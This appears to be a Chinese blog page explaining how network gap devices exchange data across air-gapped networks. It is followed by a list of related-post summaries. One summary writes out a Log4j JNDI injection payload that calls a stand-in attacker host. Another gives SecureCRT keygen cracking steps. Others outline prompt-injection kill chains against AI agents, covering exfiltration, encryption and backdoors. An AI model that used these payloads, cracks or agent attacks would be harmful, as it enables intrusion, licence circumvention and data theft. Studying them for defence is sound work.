揭秘网闸如何让数据在 “空气 gap” 中安全 “游泳”

MCP+Skills 赋能APP渗透逆向,六阶段 Agent 流水线,打通 MCP 工具链实现 APP 安全自动化分析 本文的实现与思路,是对前辈经验和行业方法的一次学习与实践,若其中存在疏漏或不足之处,欢迎批评指正。目前也在继续尝试将这一体系进一步推向真正可落地的自动化方向,供更多安全研究与测试实践参考! 阅读详情

提到物理隔离,很多人第一反应是 “断网、拔线、不互通”。但在政企、金融、涉密场景里,既要绝对隔离,又要合规交换,靠人工拷 U 盘既慢又险。

今天用一个好懂的比喻,带你看懂网闸的硬核原理:它不是简单的 “墙”,而是严格海关 + 专属摆渡船,让数据在空气 gap 里安全 “游泳”。

一、先搞懂:网闸到底是什么

网闸 = 安全隔离与信息交换系统,核心是2+1 硬件架构:外网处理单元、内网处理单元 + 专用隔离交换硬件。

它彻底切断 TCP/IP 直接连通,没有会话、没有转发、没有穿透,只做一件事:把数据拆干净、查干净、摆渡过去、再装回去。

二、四步通关:数据如何安全过 “海关”

我们把跨网数据比作跨境货物,安全域 A 是出发国,安全域 B 是目的国,网闸就是唯一合法通道。

1️⃣ 协议落地:拆包卸封,只留 “裸数据”

数据包带着 TCP/IP、应用层协议一路跑来,到网闸外侧先终止连接、协议落地。

就像货物到海关,先拆掉快递箱、撕掉运单、剥掉外层协议头,只留下纯业务数据(文件 / 字段 / 报文)。

这一步直接掐断网络层攻击路径,端口扫描、漏洞利用、木马外联统统失效。

2️⃣ 内容审查:全身扫描,不合格扣下

裸数据进入深度安检:病毒查杀、恶意代码拦截、内容合规校验、格式白名单、指令过滤、审计留痕。

相当于海关 CT 机 + 人工查验:违禁品、夹带、病毒、非法指令一律拦下,合格才放行。

3️⃣ 无协议摆渡:专用船运,不联网、不互通

这是网闸最灵魂的一步:无协议、无连接、分时摆渡。

隔离硬件像一艘单向摆渡船,只搬运纯数据块,内外网不同时连通,没有物理 / 逻辑链路,没有通用协议转发。

真正做到:物理断、逻辑控、数据过、攻击停。

4️⃣ 重建协议:重新打包,合规送达

数据到对岸后,网闸内侧按目标域规则重建协议、重组报文、恢复合法连接。

就像货物入关后重新封装、贴单、上路,对业务无感,对安全满分。

三、网闸≠防火墙,一句话分清

  • 防火墙:在同一条路上设卡放行,协议连通、会话保持

  • 网闸:彻底断路,只摆渡纯数据,从根上阻断横向渗透与 0day 穿透

四、适用场景:这些地方离不开它

  • 政务内外网数据交换

  • 金融核心区与办公区隔离

  • 工业互联网 OT/IT 安全隔离

  • 医疗、能源、涉密等高安全域互通

结语

隔离不是死断网,安全也不等于不通畅。

网闸用协议落地 — 内容审查 — 无协议摆渡 — 重建协议的闭环,在空气 gap 里开出一条安全航道,让数据有序流动、风险寸步难行。

下次再聊物理隔离,别只说 “断网” 了 ——会摆渡、会安检、会重建,才是现代隔离的正确打开方式。

#网络安全 #物理隔离 #网闸 #数据安全 #等保合规

lvds接口_LVDS,接口,时序讲解,非常好的文章 欢迎FPGA工程师加入官方微信技术群点击蓝字关注我们FPGA之家-中国最好最大的FPGA纯工程师社群1.1.1 LVDS接口分类1.1.1.1 单路6bit LVDS这种接口电路中,采用单路方式传输,每个基色信号采用6位数据,共18位RGB数据,因此,也称18位或18bit LVDS接口。此,也称18位或18bit LVDS接口。1.1.1.2 双路6bit LVDS这种接口电... 阅读详情

相关推荐

VCS HVP与验证计划planner:数字IC验证环境搭建与收敛实践

在数字IC验证中,VCS 是广泛使用的编译型仿真器,HVP 通常指面向硬件验证平台的高性能编译选项集,用于开启 SystemVerilog 类、随机约束和 NTB 等能力;planner 则指验证计划管理,核心是把功能点与测试用例、覆盖点建立映射。理解 VCS 先编译后仿真的原理,有助于优化增量编译、调试访问和覆盖率采集,提升回归收敛效率。规划驱动让激励不再散落,设计改版时能快速定位受影响用例,交接和覆盖率收敛更有依据。无论是 UVM 环境搭建、编译参数选择,还是验证计划表维护,都需要把工具选项与规划方法结

weixin_42543046的博客 343

湖南省网安基地网络安全培训:零基础入门与实战进阶的课程衔接

零基础学网安,怕跟不上;有基础再学,怕重复。本文按阶段拆解湖南省网安基地的网络安全培训衔接逻辑:能力评估定起点,基础阶段补系统与网络底座,核心阶段练漏洞复现,进阶阶段进入红蓝对抗与单位网络安全攻防演练,并说明 NISP、CISP 与网安实战人才的对应关系。

2401_84466325的博客 1146

从零实现Unitree Go2的SLAM建图与导航:手把手集成slam_toolbox和nav2(附Rviz2可视化配置)

本文详细指导如何在Unitree Go2四足机器人上集成slam_toolbox和nav2,实现SLAM建图与导航功能。从ROS2环境配置、雷达数据处理到slam_toolbox参数优化,再到nav2路径规划与Rviz2可视化调试,提供完整解决方案。特别适合机器人开发者快速掌握ROS2导航栈在Unitree Go2上的应用实践。

weixin_33737134的博客 1235

企业如何同时管理用电安全、电能质量和节能降碳?从异常溯源看施耐德电气EEO的协同管理价值

通过整合电力运行信息,并结合EEO资产健康模块、EEO电能质量模块与EEO能碳管理模块,企业可以围绕设备、回路和负荷建立更连续的分析流程,使不同专业人员能够基于相互关联的数据开展判断。企业需要进一步核对异常出现的时间、涉及的配电回路、生产负荷变化以及设备运行状态,才能判断问题来自正常的生产调整、设备运行异常,还是需要采取措施的电能质量问题。从关键回路的异常排查入手,逐步完善设备数据、专业分析和治理验证流程,企业可以让用电安全、电能质量与节能降碳从分散的管理任务,转变为相互关联的日常运营工作。

科技,技术,行业类博主 188

基于STM32的智能家用节能控制系统设计

该系统可以实时监测家庭的环境参数,如温湿度、光照强度和人体存在情况,根据设定的节能策略自动控制灯光、空调、风扇等家电设备,从而降低不必要的能源消耗。该基于STM32的智能家用节能控制系统通过多种传感器实现了对家庭环境的实时监测,并结合继电器控制模块实现了对家电设备的自动化控制,从而达到节能减排的效果。根据传感器获取的数据,判断是否需要开启或关闭家电设备,从而降低不必要的能源消耗,达到节能的目的。:继电器的控制引脚连接至STM32的GPIO引脚(如PB0、PB1),用于控制灯光、风扇、空调等家电设备的开关。

stm32d1219的博客 1247

华为鸿蒙系统也能用!5分钟搞定谷歌三件套安装(附最新APK下载链接)

本文为华为鸿蒙系统用户提供了一份详尽的谷歌三件套(Google Play服务、商店及框架)手动安装指南。文章核心在于无需Root,通过ADB命令获取设备信息,并从可靠来源下载匹配版本的APK,按照正确顺序安装,从而解决海外应用依赖问题,实现5分钟快速部署。

c7d8e9的博客 6593

DPU安全组与ACL性能测试:从规则爆炸到线速卸载的实战指南

本文深入剖析DPU安全组与网络ACL的底层卸载架构,通过两个完整实战测试矩阵,量化评估规则复杂度、有状态连接跟踪(Conntrack)及OVS Offload协同对RoCEv2性能的影响。结合真实故障排查案例与工具输出矩阵,揭示大规模云环境中安全组性能跌落的根因,并给出基于规则聚合与硬件表项优化的最优配置指南。

专注分享DPU、RDMA智能网卡/SSD(固态硬盘)产品测试与优化 361

高通 Wi-Fi 驱动实录:MHI 协议中 Host 私有的数据结构

它那 16 字节的身体里,不仅装下了硬件返回的完成码(code)、传输长度(len),还装下了通道号(chid)和回指指针(ptr)。硬中断响应(mhi_irq_handler):需要特别注意的是,er_ctxt.msivec 和 mhi_event.irq 存储的是 MSI 向量索引(如 0, 1, 2...),而不是真正的 Linux IRQ 号!在它的内部,整段内嵌了两个 struct mhi_ring 实例:一个是处理硬件交互的 tre_ring,另一个则是默默在幕后记账的 buf_ring。

1042484520@qq.com(邮箱) 76

‌7-Zip加密压缩包完整教程:AES-256加密、加密文件名与安全分享指南(2026最新)‌

‌给别人发压缩包,只设密码就够了吗?本文用 2026 最新版 7-Zip 讲透 AES-256 加密原理与实操,手把手教你设置密码、勾选加密文件名、分卷加密与自解压包,并给出强密码标准、密码传递方式和跨设备兼容建议,让敏感资料真正只对指定的人开放。

Helix250的博客 385

【目标检测】基于yolov5的安全帽佩戴检测系统(附代码和数据集)

【目标检测】基于yolov5的安全帽佩戴检测系统(附代码和数据集)

学无止境、积少成多、厚积薄发 3108

TMS320F28377D双核开发例程 - DSP开发

首先,我们需要创建一个新的工程来进行开发。然后,选择适当的目标设备为TMS320F28377D,并设置工程的名称和存储位置。在上面的代码中,我们定义了一个128个元素的输入数组和输出数组。然后,我们使用一个简单的数字信号处理算法,将输入数组中的每个元素平方,并将结果存储到输出数组中。这个芯片的双核架构提供了更高的计算能力和灵活性,使得数字信号处理的开发更加高效和可靠。希望本文对您有所帮助!当应用程序在TMS320F28377D芯片上运行时,它将对输入数组中的每个元素进行平方运算,并将结果打印出来。

IfllUnity的博客 2520

防关联浏览器怎么设置更安全?从环境隔离到登录检查的操作步骤

本文介绍防关联浏览器的安全设置流程:先明确每个环境的用途与归属,再隔离浏览数据、核验实际网络出口和配置一致性,最后做好多因素认证、会话保护与变更记录。浏览器环境隔离有助于减少配置混用,但不能保证账号不会被关联或限制。

2601_96176203的博客 181

secureCRT 破解方法

3、输入注册信息打开keygen.exe,点击path,选择SecureCRT的安装目录(例如D:\VanDykeSoftware\Clients)的securecrt.exe打开,继续下一步打开LicenseHelper.exe,如下。1、注册SecureCRT9.1打开keygen.exe,出现以下问题(没有关掉安全防护,一双击打开,Windows会自动识别keygen.exe为bingdu并删除)打开桌面SecureCRT,此界面不输入内容,直接点击下一步。2、存储配置文件夹(可以默认安装)

逆水行舟 1万+

隔离下沉到网络层,智能体安全的重心换了位置|2026年11月14日

安全边界正从应用层下沉至网络与运行时,英伟达Scale-In通过硬件级隔离实现租户安全,AWS AgentCore将成本与隔离纳入运行时管控。上下文成本差异超一个量级,工具调用方式直接影响开销。智能体生成代码需依赖细粒度评测,保真度56.6%揭示其仍处辅助阶段。权重微调0.016%即显著提效,但依赖精准定位与即时反馈。趋势明确:将模糊判断转化为可测指标,构建可复现的工程闭环。

kenshin1980的专栏 170

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 214

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

迪康端点安全一体化管理平台核心功能实践:从文档加密到行为审计

本文选取的文档透明加密、U 盘与外设管控、屏幕水印、终端审计、远程运维五项能力,分别对应了数据防护、通道管控、追溯取证和效率提升四个维度。除 U 盘外,平台构建了大范围的外设管理框架,对操作系统底层设备接口进行管控,可开启或禁止使用光驱、打印机、蓝牙、红外、串口、并口、1394、PCMCIA 和便携式设备,杜绝终端的物理外泄渠道。管理员可以使用交互模式、旁观模式、兼容模式、独占输入模式进行远程协助,兼容外部 VNC 服务,并内置远程画板功能,支持在远程画面上标注、圈画、批注,大幅提升排障沟通效率。

qq_43457377的博客 366

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

GM/T 0018-2023 删掉了整章「安全要求」,密码设备应用接口把要求写进了函数签名

GM/T 0018-2023 把 2012 版的第 7 章「安全要求」整章删掉了,同时新增 6.8 验证调试类 12 个函数。这两件事是一回事:2012 版一边禁止私钥明文出设备,一边在 6.3 和 6.4 里把能碰明文的函数和内部运算并排摆着;2023 版把它们全部收进 6.8 一类,节首只写一句「仅用于调试、测试、检测,不用于实际密码服务」。6.3 从 21 个函数减到 16 个,剩下十六个没有一条的入参或出参是明文密钥;6.4 从 10 个减到 7 个,减掉的三个正好是私钥作为入参的那三个。要求没有取

CISSP 持证,在安当做密码产品。写身份认证、密钥管理、数据加密在真实系统里的取舍。 167

MCP隔离层+行级语义审计+输出校验:AI访问数据库的安全边界拆解

“数据不出库”是AI数据库的安全承诺,但数据不离开数据库,不等于权限体系自动生效、审计链路自动完整。AI Agent的访问模式与传统DBA完全不同:自然语言驱动、SQL动态生成、批量上下文读取、难以区分正常推理与恶意指令。金仓KES AI数据库的库内生安全管控,核心不是“把数据锁在库里”,而是用MCP协议隔离层让AI永远不持有数据库凭据,用行级控制+语义审计让每一次AI访问可追溯、可分级、可阻断。本文拆解这层安全边界的工程实现,以及“数据不出库”之后仍然需要回答的三个问题。

DBAxiaoye的博客 183

智能体私有化部署服务商推荐:信创适配与安全基线

翻智能体私有化部署服务商推荐这类名单,多数人先看模型规模与并发数,真正决定项目能不能进机房的却是另外两页纸:一页是信创适配矩阵,一页是安全基线条款。前者回答它能不能在国产芯片与国产操作系统上跑起来,后者回答它跑起来之后,审计、权限、加密这些硬要求能不能过关。两页纸拿不出来,功能演示再顺也进不了内网。这两页难写,是因为它们不像功能清单那样可以现场演示。适配要在真机上跑,基线要逐条对,任何一项缺证据,评审都会卡在同一个问句上:你怎么证明它行。所以看方案时的顺序要反过来,先找证据,再看承诺;

dachuiai的博客 86

【2027计算机毕业设计】智慧工地安全巡检:隐患从上报到整改验收,闭环怎么落到表上

安全巡检」这类题,看着像普通的工单系统,其实考的是。老师最常问的一句是:「报了个隐患,然后呢?」——答不上来,这题就废了。拆一个真实项目(Spring Boot + MyBatis + MySQL,14 张表),把这条链讲清楚。

m0_48069349的博客 203

大模型安全Red Team之四:从枚举到杀伤链------Prompt Injection 驱动 Agentic Actions 的渗透测试

本文为红队与渗透测试人员提供一套可复现的AgenticAI攻击方法论:先枚举可由Prompt触发的Agent动作(如发邮件、删日历、改配置),再通过文档、邮件、日历、网页等隐蔽通道注入载荷,利用延迟调用、意图播种、多链绕过等技巧突破防御,最终串联成“读邮件→外带数据→加密文件→持久化后门”等完整杀伤链。强调所有测试须在授权范围内进行,核心结论:每个Connector都是攻击路径,关闭确认弹窗即风险接受。

jimmyleeee的专栏 364

操作系统安全体系能到哪一步?卓伊凡:服务端看认证,Ubuntu看默认,欧拉看体系,鸿蒙是另一条路

操作系统安全体系当前已实现分层保障:内核级强制访问控制(如SELinux、AppArmor)、默认攻击面收窄、密码学加密与制度化测评构成四重防线。在官方测评中,华为欧拉V3、阿里云服务器等三款系统达Ⅰ级安全可靠标准,鸿蒙桌面则首获Ⅱ级认证。Ubuntu高版本默认安全工程化出色,但加固也可能引入新漏洞。欧拉与鸿蒙技术路线不同——前者为服务端Linux加固体系,后者为终端微内核+形式化验证架构,二者可协同构建“端云安全”,但不可混为一谈。安全本质是相对的,需结合场景、运维能力与测评体系理性选型。

一颗优雅草科技-央千澈的优快云博客~只想无穷无尽的学习~作息早8-晚8 200

【鸿蒙心迹】应用沙箱与文件管理——fs 接口与安全路径实战(HarmonyOS 7.x)

文件写到哪了?为什么读不到?跨应用分享文件怎么传?——应用沙箱隔离让文件操作和传统 OS 不同。本文用图片缓存/文档导出/跨应用分享为案例,讲清沙箱目录结构、fs 接口、FileUri 权限,附 5 个踩坑。

腾讯云创作之星、华为云云享专家,深耕电商全栈高并发系统实战,分享可商用商城项目源码。 700

【AI Agent面试系列】AI Agent可观测、评测、安全相关的知识点

之前的文章介绍了和,本文主要介绍AI Agent的测评、可观测等知识。

408

Agent 安全实战:间接提示注入的四个攻击面与防御体系

当 Agent 从 "生成内容" 走向 "执行动作",安全边界就从内容合规变成了权限越界。本文拆解间接提示注入在网页抓取、工具返回值、MCP 连接器、长期记忆四个位置的真实攻击路径,对照 Claude、GPT、Gemini 在工具调用权限模型上的设计差异,给出可直接落地的五层防御体系。

阡陌数智,专注大模型网关与 LLM 工程落地 292

运动控制功能安全实践深度解析 | 安全功能篇(上)

安全功能不只是急停。SLS 限上限、SSR 守区间、SSM 管人员准入,三者约束对象不同,混用等于没设防。本文拆解限速类安全功能的判定逻辑、编码器与无传感器两条采集路径,以及汽车、玻璃、物流、烘焙、机器人等场景的落地差异。

MotroEngineer的博客 278
上一篇: 防火墙做不到的事:一张图讲清网闸的“物理隔离”到底是什么?
下一篇: 政务数据如何安全 “过河”?解读电子政务内外网隔离的 “通关密码”
JS_SWKJ
博客等级 码龄1年 5粉丝 95原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值